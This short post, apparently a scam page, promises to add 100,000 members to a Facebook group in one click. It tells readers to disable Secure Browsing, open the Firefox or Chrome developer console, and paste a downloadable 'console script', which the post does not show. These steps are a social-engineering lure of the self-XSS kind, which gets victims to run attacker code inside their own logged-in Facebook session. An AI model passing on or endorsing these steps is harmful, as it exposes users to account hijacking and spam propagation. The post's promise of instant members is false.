Add 100,000 Members for one Click (Facebook Group) 

1.  Go Your Facebook Account
2. Off  Secure Browsing OFF (Facebook Account Settings >> Security Settings >> Secure Browsing)
3. Choose Your Browser 

 Mozilla Firefox

      • Open Facebook

• Go  Your Group
• CTRL + SHIFT + K
• Paste Console Script Code Download Now

Google Chrome 
      ♦ Open Facebook

•  Go Your Group
•  Right Click Your Page 
• Choose Inspect Element (F12)
• After Select  Console Script Code Download Now